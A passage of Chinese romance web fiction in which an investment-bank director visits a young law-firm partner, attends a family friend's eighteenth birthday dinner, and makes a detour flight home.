“大艺术家不懂人间疾苦我不怪你,”池漾暗戳戳地意指叶青屿,“拜托!那可是投行啊,投行玩的是什么,玩的就是时间啊。”
叶青屿耸耸肩,不带感情地敷衍了一句:“哦,那这个投行还挺有人情味的。”
-
蓝仲律师事务所。
孟仲季和蒋嘉末业务相当熟练地为席砚卿和钟离声介绍了公司的基本状况,一点链子都没掉。
昨天还相互掐脖的两人,今天默契地跟一对儿似的。
听完公司简介之后,席砚卿递给钟离声一个眼神,然后就独自往旁边去了。
这意味着我们的钟特助又要开始陪聊之旅了。
蓝仲律师事务所的设计风格以简约大气为主,蓝白色做基调,流畅线条为点缀。
真正的窗明几净,蓝田日暖。
从电梯出来,穿过走廊便会看到印着公司名称的前台,左手边是办公区,右手边是商谈区。
前台背后有一面墙,作为办公区与商谈区的过渡,被设计成了一个极具设计感的走廊。
一侧是一些代表着法律公平正义的名画,另一侧则是公司合伙人的简介。
席砚卿走上这条走廊,在一张简介面前站定了脚步。
其实,上面的信息他早就聊熟于心,还没昨天他看到的信息全面,但他还是像看到宝一样地凝视着。
或许是这张简介上的图片放的更大一些吧。
身经百战的他,心底竟然久违地升起一丝紧张。
孟仲季、蒋嘉末和钟离声站在办公区的最右侧,席砚卿离他们几步之遥,站在那条过渡走廊上。
关于公司的介绍已经大概说过了,剩下的更细致的,不在他们的职责范围之内。
这不是胆量不足或能力不够的问题,而是每个公司都有分工,恪尽职守、不逾矩也是对工作的尊重。尤其是法律这个行业,最专业的事情就得最专业的人来做,因为不是每个客户都有精力和时间将同个问题听两遍,即使你解释两遍也不觉得累。
孟仲季看着钟离声,找个话题开口:“我们律所大致的情况你们已经了解了,针对贵行的具体合作意向和事宜,等会儿将会有我们律所合伙人之一的池漾律师与你们商讨,池律师已经在来的路上了。”
钟离声正想接话,就听到耳边悠悠传来一句:
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“叫池律师慢慢来,不要着急,本来就是我们突然拜访。”
“哦,好。”孟仲季应了一声,低头给池漾发微信。
钟离声:???
慢慢来?不着急?
这话是席砚卿说的?
池漾的头号迷弟蒋嘉末趁着孟仲季低头发微信的间隙接上话头:“席总监和钟特助有什么需要咨询或商榷的,等会儿都可以提出来,池律师是经验很丰富的律师。
钟离声再一次还没来得及开口,就听到耳边又悠悠传来一句:“池律师还不到26岁,这么年轻的合伙人,很少见啊。”
蒋嘉末眉眼含笑,话语里带了一丝骄傲:“池律师十六岁就考上了京大法学院,后来在剑桥修了硕士学位,之后就来律所工作了,虽然年轻,但履历绝对可佳。”
客户对律师的能力和水平有疑问,是一件再正常不过的事情,孟仲季和蒋嘉末都没觉得有什么不妥。
钟离声最开始也是这么觉得,直到他看到席砚卿点头时眼睛里的光,不知为何,感觉哪里有点儿不对劲。
就......
莫名的有一丝温情。
钟离声看着对面的两个小伙子,虽然羽翼未丰,但绝对未来可期,于是随口问了句两位怎么称呼。
蒋嘉末听了先说:“我叫蒋嘉末,嘉是嘉奖的嘉,末是末尾的末,我父亲给我起这个名字就是为了告诉我,一个人要承受得起最好的时刻,但是也要承受得起最坏的时刻,起起伏伏才是人生。”
钟离声微微点头,觉得这名字起得还挺妙。
与此同时,他用余光悄悄瞥了一下席砚卿。只见他正聚精会神地看着墙面,一句话都没接。
钟离声:......
你不是爱接话吗,这次怎么不见你接了。
至于我们的孟仲季同学,他为啥慢了一拍呢?
因为刚才他跟池漾发微信,池漾也是着急,本想回复一句“知道了,马上到。”
结果不知手怎么一滑,回复成了“知道了,马上到鸭。”
一个“鸭”字,孟仲季这个精神小伙莫名其妙地被萌到了......
直到蒋嘉末戳了他一下,他才回过神来:“哦,我叫孟仲季,我的名字来源于一个俗语——”
刚说到这儿,孟仲季就感觉到蒋嘉末在憋笑,但他视而不见,依旧镇定自若地介绍着着:“俗话说,一见不日,如隔三秋,里面的三秋指的就是孟秋、仲秋、和季秋。我父母希望我可以永远保持进步,拥有让别人刮目相看的能力,而非停留在原地。”
钟离声听了,觉得这名字起得也挺妙。
等等!
哪里好像不对的样子!
一见不日,如隔三秋......
一见不日......
不日......
气氛被一种诡异的沉默瞬间填满,孟仲季这才后知后觉地意识到自己口误了......
口误不可怕,可是口误成这个样子......就很可怕了吧......
因此,现在的局面就是——
蒋嘉末憋笑憋出内伤,孟仲季找地缝找到失明......
至于钟离声,他再怎么见过世面,这样的尴尬局面也真是不太常见,只好轻咳两声,来掩饰尴尬。
三个人就这么僵持着的时候,突然一阵急促的脚步声,像是救命稻草般传来。
是池漾在奔跑。
她为什么要跑这么快呢?
不想让客户等是一方面,更重要的原因是,她才发现她今天的着装根本不适合见客户!
因为今天要去福利院见孩子们的原因,所以她穿得相当减龄——一个娃娃领的白色雪纺衬衫,领口处还系了一个JK领结,下面穿了一条同色系的浅蓝色百褶裙和白色帆布鞋,背了一个白色单肩帆布包。
这行头,别说律师了,说她是高中生还差不多。
这样去见客户,是真的有悖专业。
于是,她上电梯的时候紧急给孟仲季发了条微信,让他们去会议室等待。会议室在商谈区,在前台右侧,这样她可以在没人看见的情况下,回办公室尽快换一身衣服。
谁知道,孟仲季正陷在“一见不日”的尴尬里,难以自拔......
因此,当池漾以百米冲刺的速度,飞快地往办公室跑的时候,看到办公区门口的三个人,场面再次陷入一种诡异的沉默。
孟仲季和蒋嘉末来律所实习这么久,还是第一次见池漾这个装扮——棕色的长卷发被扎成了翘动的马尾,再配上白衬衫和百褶裙,简直一下子梦回高中时代。
整个人看起来清纯乖巧,楚楚动人,总之就是与池漾平时的清雅形象极为不符。
就连见过形形色色人的钟离声看到池漾也有点讶异,这就是你们律所的合伙人?确定这不是高中生?
池漾见此情景,很快地镇定了下心绪,淡然自若地开口:“席总监你好,我是池漾。不好意思,我来晚了。”
说完又看向孟仲季和蒋嘉末:“你们先带席总监去会议室等待,我马上就来。”
钟离声听了连忙摆手:“我不是席总监,我是他的特助,我们的席总监是这位。”
他边说边指向右侧。
池漾听到一阵浅浅的脚步声从右边传来,缓缓转过身子。
——那个身影没有任何预兆地,再次落入她的眸中。
7. 如故
彼时雨势渐弱,弥弥阳光破云而出,铺满了整条长廊。
他逆着光向她走来,唇角眉梢在渐行渐近中变得清晰,像一场失而复得的梦。
池漾怔在原地,一时慌乱,不知该如何解读这场梦境。
只是眼前的场景莫名就开始与那天的偶遇重合。
不是上次庄重沉稳的黑色西装,也不是上次深刻到让她难以辨明的目光。
今天的他,身着一件极简的白色衬衫,整个人清峻疏朗。
他带着笑意,正温柔得体地朝她款款走来。
池漾还没缕清眼前的一切,耳朵已经先于行动,捕捉到了他的声音:“池律师好,风盛投行席砚卿,幸会。”
悠远清沉的音色。
不知为何,虽然是第一次听到这个声音,但池漾就是没有任何根据地觉得,这个音色和她脑海里想象出来的一模一样。
她怔怔地低下头,看到他朝她伸过来的手,这才瞬间回过神来。
“哦、哦、您好。”她伸出手去,声音不自觉带了一丝颤意。
两个人双手交握,触摸到彼此的体温。
池漾其实很不好意思与人握手,因为她手的温度,总是比常人要凉。
但在工作中,握手是最基本的礼仪。
夏天还好,尤其是冬天,她就会很抱歉,每次握完手还要说声不好意思。
这两天一直下雨,刚才车里还开了空调,所以哪怕她跑得急,甚至热到脸上都泛起了一层薄薄的红晕,手却依然是冷的。
与他手的温度形成强烈反差。
他的手掌宽厚又温暖,莫名让人感觉到踏实。
席砚卿也没想到,这大夏天的,她的手能这么凉。
不同于久坐空调屋里的那种凉,就像是骨子里的一种凉,跟外界温度无关。
两个人轻轻一触,随即分开。
池漾不好意思地解释:“我手有点凉,不好意思。”
席砚卿淡淡一笑,说没关系。
“你们先带席总监和钟特助去会议室,把投影打开,我拿份资料就过去。”
池漾跟孟仲季和蒋嘉末交代完,就三步并作两步地往办公室跑。
-
进了办公室,池漾一边揪下领结一边关上门,然后又以最快的速度褪下帆布鞋,从办公桌的柜子里拿出了一双黑色高跟鞋穿上。
裙子来不及脱,她直接拿出一条一片式黑色半身长裙。裙子是雪纺材质,款式大方,裙摆飘逸。最重要的是非常方便穿,直接沿着腰线围成一圈,然后将两根系带系成蝴蝶结,固定好就可以。
穿好之后她站在全身镜前整理了一下仪表,这才想起头上还扎着马尾辫......
时间紧迫,她不确定现在把头发散下来的话,发型会不会因为惯性鼓成一个包,于是二话不说随手摘下了那朵浅蓝色的蝴蝶结,两手一抬,手法熟练地挽成了一个丸子头。
手边没有多余的皮筋,她只好把最后一缕发髻压在原本的皮筋下,又怕头发中途散开,随手从笔筒里拿出了一支笔插在“丸子”上,作为固定。
终于只剩最后一步!
只见她从抽屉里拿出了一支口红,在唇上轻轻抹了一下,然后用嘴巴将其自然抿开。
与此同时,她还顺带手地把衬衫的扣子解开了两颗,毕竟没有领结,还把扣子扣得这么紧,有点傻叉。
嘴巴与手指的动作同时完成。
池漾看了眼镜子中的自己,番茄色口红薄涂,低调淡雅;领口微微敞开,灵活得体;黑色长裙簌簌垂下,长及小腿,与一字带高跟鞋一搭,尽显职场气质。
这下终于不像个高中生了。
至此,换装结束,变身成功。
整个过程历时不到两分钟。
席砚卿和钟离声刚在座椅上就座,孟仲季和蒋嘉末刚把投影仪打开,池漾就进来了。
在座的两个人以及正在做准备工作的两个人都有些惊讶。
这是刚才那个扎着马尾辫穿着百褶裙的池律师吗?!
这什么?!
大变活人吗?!
察觉到大家审视的眼光,池漾没多做解释,只是淡淡笑了下。
一个人的专业素质应该体现在各个方面,包括外在。
她屏蔽这些目光,熟练地把电脑连上投影,一边打开企划书一边说开场白:“很荣幸席总监和钟特助今日光临律所,关于律所的情况两位应该已经有过初步了解,接下来我将为两位介绍我们在资本市场上参与过的一些案例,如果有问题,可以随时打断我。”
池漾站在幕布的左侧,手中拿着激光笔,全脱稿地进行讲解。
席砚卿坐在会议桌右侧的第一个椅子上,以对角线的视角,肆无忌惮地打量她。
只要一穿上高跟鞋,池漾那股工作的劲头立马就上来了。
她工作的时候脸上没太多表情,双眼像是雏鹰,有一种刻入本能的深邃,目光灼灼,专业精准。
方才再次相逢的紧张和无措,被她强势地抛在脑后。
她的脑海,被逻辑和案例填得满满当当。
池漾顺顺利利地讲解完毕,没有人打断她。
等她话落,席砚卿才站起身来,与她平视着,问了她第一个问题:“池小姐为什么做律师?”
坐在一旁的钟离声:???
你管人家为什么做律师!
人家为什么做律师关你屁事!
池漾也怔了一瞬,心想到底是大投行,考察合作伙伴的方式就是与众不同。
真是有够感性的。
不过,这个问题其实不难回答。
因为这个问题,池漾也曾自问过无数次。
所以她不假思索地说出了自己的答案:“为了成为一个强大的人。”
没有抑扬顿挫,没有掷地有声,她只是轻轻缓缓地、自然而然地说出了这样一句话。
强大明明是个挺有魄力、挺刚性的词,但经她口诉出,却莫名生出一种柔韧。
不是纯粹的柔和,也不是纯粹的坚韧。
而是两者的中和——柔韧。
她声音清亮婉转,好像天生不太适合朗读激昂铿锵的宣言。
但那双坚定的眸,却恰如其分地中和了这份温柔。
席砚卿凝视着她的眉眼,继续不按常理出招,问了第二个问题:“法律对你来说,是锋芒吗?”
听到这个问题的钟离声再次将不可思议的眼神看向席砚卿......的后脑勺。
心想这都哪跟哪啊!
“是。”
她的回答简短有力,丝毫不拖泥带水。
席砚卿心满意足地挑了挑眉。
因为光线的关系,池漾从她这个角度看去,难以看清他眼睛里的神色。
她正等待下文时,只见席砚卿忽然从座位上离开,一步步地朝她走近。
走到她身边后,他微微俯下身来,看着她的眼睛,郑重其事道:“那我就期待着池律师以法律为锋芒,为风盛的强大,助一臂之力了。”
话至此,池漾终于表现出了一丝不敢置信。
这话是什么意思?
意思是我们有机会合作了?
就这样,我就替律所搞定了一个大客户?
这结局太超出预料,以至于当席砚卿和钟离声从律所离开,池漾还沉浸在不可思议的情绪中,难以自拔。
这个席砚卿,到底是何方神圣
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还是说他一贯的做派就是这样。
——不露声色地窥人心思,于无声中刀起刀落。
他的心思是有多缜密,才会留意到那条过渡走廊里,她在个人简介上写的那句话——所谓强大,是有锋芒的善良。
这是她的人生信条,很多人都知道。
但还是第一次,有人在她面前把这句话掰开了揉碎了,绕了个弯,又完璧归赵地还给她。
-
席砚卿从蓝仲律师事务所离开,直接自己开车走了,不给钟离声的疑问任何可乘之机。
只不过他没回家,也没回公司,而是掉了个头,去了柏悦酒店。
今天是高考的最后一天,同时也是苏兮的生日。
席家和苏家是世交,苏兮是苏家的小女儿,席砚卿从小看着她长大的。
十八岁的成人礼,意义非凡,席砚卿说什么都得亲自到现场。
苏默在柏悦顶层定了个包厢,为苏兮庆生。
排场不算大,就苏家的几个至亲好友一起吃个饭。
苏默本想大办,但奈何自家闺女断然拒绝:“爸,我都十八了,能不能不要再办什么傻里傻气的party了,我每次都感觉自己像动物园的猴子。这次就大家简简单单一起吃个饭就行,要不我不去。”
自家闺女都发话了,他能怎么办,只能依着了呗。
苏兮五点二十五考完英语,迈出考场。
当下的心情,除了终于能喘口气的如释重负,更多的是激动,是对更广阔世界的热切向往。
今天,她就十八岁了。
她成人了,没人可以再把她当成小孩子,她有权利去过自己真正想过的人生,去喜欢自己真正喜欢的人了。
从考场出来,苏兮回家换了一身衣服后,才被司机送到柏悦。
她刚一进门,就立刻吸引了所有人的目光,问候声、寒暄声、恭喜声此起彼伏,她微微颔首,任这些声音左耳进右耳出,然后心无旁骛地向朝沙发处走去。
席砚卿当时正坐在角落的沙发里,看手机里的文件,和周遭的热闹格格不入。
直到一声娇糯的“砚卿哥哥”传入他的耳朵,他才从手机屏幕上抬起头来。
看到是苏兮,他站起身来,走到她的身边,轻轻拍了拍她的肩,问:“考完了?”
“嗯,”苏兮点点头,然后眼神极尖地瞥见了沙发上一个蓝绿色的盒子,上面印着某个奢侈品牌的logo,是她很中意的那个牌子。
“砚卿哥哥,那个袋子里是我的十八岁礼物吗?”
席砚卿没忍住笑了,心想这小姑娘还挺能装傻的,这十八岁礼物她从去年生日就开始叨叨了。
“是,祝你生日快乐。”说着,他微微侧过身,示意她自己去拿。
苏兮一溜烟儿地跑到袋子旁,小心翼翼地拆开礼物,果不其然,里面是那双她期待了很久的高跟鞋,是她最喜欢的那个款式,只不过这个颜色,怎么是粉色的?
稍微了解点时尚的人都知道,这个牌子的高跟鞋是经典款,经久不衰。而经典款中的经典款,是那双被命名为“定情信物”的银色高跟鞋,俗称水晶鞋。
虽然这款水晶鞋在国际上是限量版,长年断货,但她不相信以席砚卿的能力会买不到。
席砚卿看着她垂眸良久,问道:“怎么?不喜欢吗?”
苏兮摇摇头,笑眼盈盈地回:“喜欢!我现在就去换上!”
其实归根到底,苏兮还是觉得粉色的好看,之所以执念于那双水晶鞋,还是因为水晶鞋背后的寓意罢了。
席砚卿再没童话细胞,他也知道那双水晶鞋背后的含义。
所以,即使他能买到,他也不能送。
8. 投资
苏兮抱着大礼盒进了包厢自带的盥洗室,很快就换好了鞋子。
一条白色的及膝连衣裙,露出她白皙纤弱的小腿,粉色高跟鞋在灯光的照耀下泛着隐隐约约的细闪,衬出少女的窈窕曲线。
她垂眸浅笑,青春甜美的气息张扬而出。
正值十八岁的年纪,由内而外散发出的美,不施粉黛就足以令人心驰神往。
时间是很公平的东西。从出生那一刻起,它就拉着你往前跑,不给你喘息的机会,同样也不给你掉队的机会。
因此,年长者看年幼者,在惋惜岁月无情的同时,还会生出对年轻的羡慕与向往。
毕竟那段年华一经落幕,回顾也大多是枉然。
所以,苏兮换好高跟鞋一走出,就立刻吸引了大家的目光。
小家碧玉终成大家闺秀。
她将所有人的目光尽收眼底,笑容莞尔。
接着,在大家的注视中,苏兮径直走到送礼物的人面前,提起一侧的裙摆,翩翩转了一个圈,眼底噙着春风般柔情,问他:“砚卿哥哥,好不好看?”
席砚卿掀眸瞧了眼,点点头。
得到肯定的答案,苏兮眼里溢出满满当当的期待,接着问:“那我以后可以和你一起跳舞吗?”
嘘寒问暖的声音不知在何时停了下来,在场的人都好整以暇地看向他俩站的方向。
小姑娘的十八岁成人礼,席砚卿不好让小姑娘下不来台。
他淡淡笑了下,说了句等我有机会学学。
把拒绝的话藏在了内里。
苏默站在后面,将这两个人一来一回的对话尽收眼底。
见自己闺女仍然一副有话要说的样子,他赶忙见缝插针地喊道:“兮兮,快招呼大家落座吃饭了。”
此话一出,苏兮未说出口的话,只好硬生生地咽了回去。
席砚卿看着苏兮走向餐桌的背影,再联想到刚才听到的跳舞这两个字,心里莫名其妙地想起了一个从未有过的场景。
-
看大家陆陆续续地落座,席砚卿也收起手机,走向餐桌。
今天来的人不算多,十来个,围了整整一桌。
苏默也是有心,不想把生日会变成谈生意的地方,没请什么乱七八糟的人。来的都是真正的朋友,并且多为晚辈,大多都是跟苏兮一起长大的。
苏默坐在主座,左手边依次坐着几个长辈,苏兮坐在他的右手边。
席砚卿本来没想挨着苏兮坐,可还没落座就看到苏兮跟他招手,他不想扫兴,就走了过去。
席砚卿刚一坐下,就感受到身侧人的灼灼目光。
不过,这目光并不是来自苏兮。
他往右一看,坐着的是谭氏企业的公子哥谭星河。
谭星河这人也是个奇人,江湖传言当初为了追一个女孩奋不顾身投身进了新闻行业,本想浅尝辄止,追到人就罢手。
结果没想到姑娘没追上,还把自己搭进去了,从此对新闻事业爱的深沉。
奔赴在各类热点事件的第一线,不怕苦不怕累,扬言这才是真正有价值的工作,可比坐在办公室里开会有意思多了。
谭父看这阵势不对,用尽洪荒之力才终于把他儿子扳了回来。
谭星河——一个哪怕好好当记者也要回家继承家产的苦命孩儿。
此时此刻,谭星河正好奇地上下打量着坐在他左边的席砚卿,眼神里写满了探究和疑惑。
席砚卿着实受不了他那灼热的目光。他一个大男人,被这么一个大男人盯着看,到底算怎么回事。
于是他往右一瞥,斜了谭星河一记眼刀,意思是提醒他差不多得了。
结果谭星河不仅丝毫不知收敛,还相当放肆地往席砚卿身边又靠了靠,凑近他耳边,压低声音问道:“你没事买房干什么?”
席砚卿正喝水的手顿了一顿,喉结缓慢又明显地滚动了一下,“你怎么知道?”
谭星河一副万事了然于胸的笑:“我那次去考察,正好碰上钟特助,你说说这不赶巧了吗。”
席砚卿不想跟他扯太多,简简单单回了两个字:“投资。”
谭星河嘁了一声:“我信你个鬼!”
看菜渐渐上齐,谭星河才暂时放过了席砚卿。
大家边吃边聊,气氛很是融洽。
今天毕竟是高考刚结束的日子,苏兮自然免不了要被问一句准备考哪个大学,选哪个专业。
小姑娘似乎心中早有答案,脱口而出说想上朝大。
听到朝大这个名字,席砚卿想起表哥白清让来,心想苏兮要是上法学院,还可以让自家人照顾照顾。但很快他就否定了自己这个想法,依他对苏兮的了解,这姑娘应该是认准了朝大的音乐学院。
结果没想到苏兮下一句话就是:“我想读金融或者法律。”
这下不只是席砚卿,连苏兮的父亲苏默都震惊了,一副“你莫不是在逗我”的表情看向苏兮:“你开什么玩笑呢,不读音乐学院了,你不是已经通过艺考了吗?”
小姑娘安抚性地拍了拍苏默的肩,相当自信地开口:“爸,你放心,我不用艺考分数我也能考上朝大。”
苏默这下彻底连饭也吃不下了:“不,你等等,你先告诉我为什么突然要换专业?”
苏兮抬眼一扫,发现对面的人都好奇巴巴地望着她。她用余光瞥了一眼坐在她右边的席砚卿,他倒是还正常,淡定地喝了口水。
于是,苏兮没直接回答苏默的问题,反倒是将目光转向右侧,眨巴着大眼睛问道:“砚卿哥哥,你觉得我学金融好还是学法律好,还是说到时候修双学位?”
席砚卿放下杯子,视线越过苏兮看到苏默的眼神,瞬间心领神会,问道:“为什么要换专业?”
苏兮本来还以为席砚卿会站在她这边,替她说话,结果没想到他又把她爸的问题重复了一遍。
她嘟着嘴不说话,心想还能为什么,为了将来能帮你啊!
学音乐专业将来怎么进你的投行实习啊!
不过,毕竟脸皮薄,苏兮没敢当着这么多人的面把心声说出来。
“呃......”她随意扯着借口,“我就是觉得音乐专业就业面窄,我怕将来找不到工作。”
闻言,在座的人没忍住笑出了声。
苏大小姐!请认清你的位置好吗!你们家需要你赚钱吗!
苏默听了直接撂话:“你想学什么就学什么,那些乱七八糟的事情不用你考虑,在你心中你爸连这点能力都没有,还需要你去赚钱养家?”
苏兮听了心中暗忖——
我哪是不相信您的能力,我是不相信自己的能力啊!
我知道哪怕我现在辍学您也能靠关系把我安排到风盛投行!
但问题是我什么都不懂我去那里干什么!
去当花瓶吗!
“那哪能啊,”苏兮挽起苏默的胳膊,带着少女特有的娇嗔和讨好,笑眼盈盈地说道,“在我心中我爸就是天底下最伟大的男人!”
此话一出,终于让苏默脸上重回了笑容。
苏兮见势赶紧夹了一块鱼放在苏默碟中,殷勤地说道:“爸,请用膳。”
饭桌上又大笑了起来,这一篇可算是暂时翻过了。
-
这顿饭吃的挺愉快,苏兮作为主人公,临结束的时候收到了不少礼物,辛苦司机来回跑了好几趟才全部拿走。
大家纷纷说着祝福的话离开,最后包厢里没剩几个人。
苏默找了个借口让司机先送苏兮回家,独独留下了席砚卿。
两个人在落地窗前站定,此时夜幕已沉,整座城市的夜景尽收眼底。
苏默看着玻璃幕墙上映出的倒影,不禁在心里感慨:当初的翩翩少年,已经在不知不觉中长得比他还要高好多了,身上的气场也变得更为强大与沉稳,成了一个顶天立地的男人。
他点了一支烟,沉默了片刻才斟酌着开口:“那双高跟鞋是你送给兮兮的吧?”
其实这话问的没有什么意义,席砚卿送她礼物的那一幕,所有人都看到了。
但在现实生活中,很多时候我们都需要用一些明明知道答案的问题,来打开谈话的局面。
席砚卿点点头。
苏默轻轻笑了声,继续说:“是那丫头旁敲侧击地告诉你她想要什么礼物,你才买的吧?”
这次,席砚卿没立刻回答。
苏默归根结底是席砚卿尊敬的长辈,他没法不假思索地说是。
更何况他从小看到大的姑娘十八岁了,跟他要个礼物,真没什么大不了的。小姑娘也不卑不亢,没说非得要,她自己也买得起。
沉默片刻,席砚卿才说:“不是。我就是听苏兮提到过,就送了这个。我也不太会选礼物,索性就送了一个她喜欢的。”
闻言,苏默将目光看向席砚卿,调侃道:“我之前还问过她这次成人礼想要什么礼物,结果她跟我说除了高跟鞋,什么都行。”
话说到这儿,苏默忽然这烟抽得没劲。
他低头把烟揿灭,语气夹了丝失落:“原来这丫头是想要你送的高跟鞋。”
话已至此,席砚卿瞬间意会了苏默的弦外之音,他语气沉静:“默叔,苏兮是我从小看到大的妹妹,送她一个礼物而已,您不用想太多。”
苏默轻哼一声:“难道单单是我想太多了?那双鞋是什么寓意你难道不知道?你要是真不知道,也不会送她一双粉色的鞋,她最期待的,明明是那双银色的水晶鞋。”
席砚卿一时语塞。
苏兮是有一个多么爱她的父亲,才能够把她的任何细节、任何喜好都了解得如此细致入微。
苏默:“我知道那那双鞋你不是买不到。”
两个人都是明白人,犯不着再互相绕弯,席砚卿索性打开天窗说亮话:“默叔,我很抱歉。苏兮是我妹妹,我也愿意以哥哥的身份为她遮风挡雨,但不是那个身份。”
气氛忽然陷入沉默,许久之后席砚卿才听到苏默沉沉地叹了一口气:“我也看出来了,你对她没那个意思,所以这才不知道怎么做好。别看这丫头从小养尊处优地长大,可其实内心犟着呢,要不也不会把练琴这件事坚持这么久,小时候别的小朋友叫她出去玩,她就是不
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去,非要把琴练好才去,也没人逼她,就是自己一个人边哭边练。”
席砚卿沉默地听着。
苏默:“朝大音乐学院全国顶尖,艺考合格率仅有千分之一,她已经拿到了艺考合格证,朝大已经将录取线给她降到了一本线,依她的成绩哪怕发挥失误也能轻而易举地考到。可她参加完艺考后,学习的劲头突然更强劲了,天天挑灯夜战,我还纳闷为什么,今天才知道这丫头居然是想换专业,没想到她主意还挺大!你应该知道她为什么想换专业吧?”
席砚卿其实刚才在饭桌上就想起了一件事,但他没敢确定那就是苏兮要换专业的原因。
现在,既然苏默都这么问了,他心里也能猜个八九不离十了,确认道:“难道是因为我当初的那句话?”
半年前,苏兮拿到艺考合格证,席砚卿随父亲席静恒前去祝贺。
苏兮当时问了他一句毕业后可不可以去他的公司实习,席砚卿也没猜到她这话是认真考虑过才问的,就回了她一句:“我们公司暂时还不需要音乐专业的人才。”
他没想到,他随口的一句话,竟然对她产生了这么大的影响。
苏默:“那你以为呢?我本来也没把那话放在心上,可现在才觉得,你们这些年轻人啊,都是一个比一个有想法。”
席砚卿:“选专业是一辈子的大事,我会找个时间好好劝劝她的。”
苏默点点头,语重心长道:“砚卿,你是我从小看到大的孩子,从小就优秀得让人挑不出一点毛病,你要是能做我苏家的女婿,那也是我修来的福分了。可惜,我也看得出来,你对这丫头没那方面的意思。这世间什么都能通过努力得到,唯独感情不能,这道理我懂。可是你能不能看在叔叔的面子上,好好跟这丫头谈谈,别让她受伤害。”
席砚卿望着满城的繁华夜景,郑重其事地点了点头。
-
两个人中还是苏默先行离开的。
席砚卿等他走后,自己默默点燃了一支烟,心里面有点乱。
他对待感情从不拖泥带水。不喜欢就是不喜欢,他每次都是直接拒绝,并且把话说的很绝。再加上他生人勿近的强大气场,刀起斧落地给自己斩了不少桃花。
当然,还是会有些穷追不舍的,一般到这个时候,他就开始施展自己的毒舌技能。
可是,这样对待苏兮不行。
哪怕单单因为苏默,他也得把这件事处理得得体一点。
点了一支烟,席砚卿却一口没抽,看它燃尽才将其捻灭,默默地下了楼。
电梯直接下至地下一层,他拿出钥匙解了锁,正准备坐上去,却忽然看到停在他左侧的车摇下了车窗。
席砚卿往里一看,竟然是谭星河。
“你在这儿干什么?”
“这不等你吗?苏家女婿。”谭星河一脸坏笑,喊得挺起劲。
席砚卿听到这四个字就脑仁疼,不愿意搭理他,转身就准备走。
谭星河眼疾手快地下了车,绕过车身一把窜上了席砚卿的副驾驶。
席砚卿一脸冷漠:“你要是问苏家的事,你现在就可以走了。”
谭星河也不自讨没趣,随即否认道:“不,不问,我绝对不问。”
“那你还有什么要问的,赶快问。”
谭星河轻咳两声:“那什么,我听说你去电视台录访谈节目了,这不像你作风啊,你不是一向低调得很吗,网上连张照片都没有,这突然是怎么了?”
经谭星河这么一提醒,席砚卿才想起前几天去电视台录节目这事儿。
他本来去录节目就目的不纯,时至今日,这节目根本没有播出的必要了。
席砚卿看了谭星河一眼,语气讥诮:“看来谭大公子果然还是对新闻事业念念不忘啊,身在曹营心在汉可不好。”
谭星河默默腹诽这人真是一如既往的阴险,知道说什么话最能戳人痛处。
他不着痕迹地调转话题:“不是,我就是感觉你最近不太对劲,又是上电视节目又是买房的。诶,对了,你跟我说说,你为什么突然要买御府左岸的房子?”
闻言,席砚卿不由地感慨了一句到底是在新闻界跑了一圈的人。这要搁以前,这人的八卦之心怎么可能这么强烈?
席砚卿言简意赅:“我说了投资。”
谭星河一脸不信:“投资个屁,谁投资买一套房的,更何况是你,就算这房子有升值空间,你看得上这点小钱?”
席砚卿嘴角扯出一抹笑,意味深长地望向谭星河,不答反问:“谁跟你说我投资是为了钱的?”
谭星河:“不是为了钱那是为了什么,难不成你要自己去住?”
席砚卿:“怎么?不行吗?”
听到这儿,谭星河相当惊讶,忍不住感慨:“我去!不是吧大哥!你是京郊的别墅住的不爽,还是市中心的大平层住的不舒服啊。御府左岸的定位就是中档小区啊,户型也都不大,你抽什么风了突然要住这里,要是投资,这也太不值了吧!”
“值不值我说了算,”席砚卿懒得跟他废话,直接撵人,“你还有事没,没事赶紧走。”
9. 纸条
参加完苏兮的生日宴,席砚卿就连夜飞往了澳洲,十多个小时的飞机,再加上澳洲正值冬季,一向百毒不侵的他,竟也没能逃脱感冒的魔咒,成功中标。
历时快半个月,这边的工作才处理完毕。钟离声看席砚卿脸色仍然不太好,于是就问他要不要在澳洲休息一段再回去,国内的工作他可以先回去处理。
席砚卿对这点小病不以为意:“多大点儿事,订机票,回国。”
“直接回国吗?”
“那不然呢,你还想飞机半路给你刹一脚?”
听到这儿,钟离声噗嗤一声笑了,心想我们席总监有时候还是很可爱滴!
不过,这样的心理活动是绝对不能让席砚卿看出来的。
要是让他知道有人形容他可爱,那后果简直......
想到这儿,钟离声自己吓自己地摇了摇头。等到他反应过来,发现席砚卿正在以关爱智障的眼神盯着他。
“......”钟离声迅速调整好状态,解释道,“我的意思是,马上就要去新加坡谈裕泰的并购案,要不直接订飞新加坡的机票?”
席砚卿答得果断:“不用,先回国。”
就这样,两个人登上了回国的飞机。
钟离声本来觉得没什么。
直到飞机于深夜落地国内之后,席砚卿转眼就让助手订了当天下午飞新加坡的机票。
钟离声得知这个消息的时候,还特别谨慎地看了一眼席砚卿的工作安排。心想莫非是周一上午有必须要他出席的活动,所以才绕个大弯?
结果发现并没有。
那这么折腾到底是要作甚?
闲的没事坐着飞机在天上兜圈吗?
因此当钟离声连时差都没来得及倒,顶着一双黑眼圈,于几个小时后再次看到席砚卿的时候,终于忍无可忍地吼了一句:“席砚卿!你是不是变态!”
席砚卿懒得搭理他。
钟离声气不打一处来:“怎么会有你这样的人!你当坐飞机跟坐车一样,怕堵车说绕个远路就绕个远路!你知道不知道,我们完完全全可以买直飞新加坡的机票!我连时差都没倒利索!”
席砚卿专注看着手里的文件,冷冷回了句:“悉尼是在南半球,又不是在西半球,你倒哪门子的时差。”
钟离声听了一口老血就要喷出,破罐破摔地问:“你跟我说实话,你是不是在航空公司投了股份?”
席砚卿:“嗯?”
钟离声:“所以才坐飞机玩。”
席砚卿听到这儿,是真的懒得搭理他了。于是直接甩了份资料给他,说:“把这份资料翻译成斯瓦希里语,翻译完再跟我说话。”
钟离声看着手上的文件夹,心想什么玩意儿?
什么希拉里语?
我好歹也是从小到大的学霸吧,席砚卿就这样又一次轻而易举地触及了我的知识盲区?
所以说没事还是不要惹席砚卿了,你都不知道自己是怎么......累死的。
-
新的一周,整座城市又回归忙碌的节奏。
顾锦泽刚开完例行周会,正靠在座椅上,闭目养神。
今早凌晨两点飞机才落地,回到家没睡几个钟头又赶到公司开会。
所以,他休息了一会儿,才走出办公室。
听到扣门声,池漾从文件中抬起头,示意他进来。
顾锦泽走到她面前坐下,扫了一眼桌上的文件,“几点的飞机?”
池漾:“下午三点。”
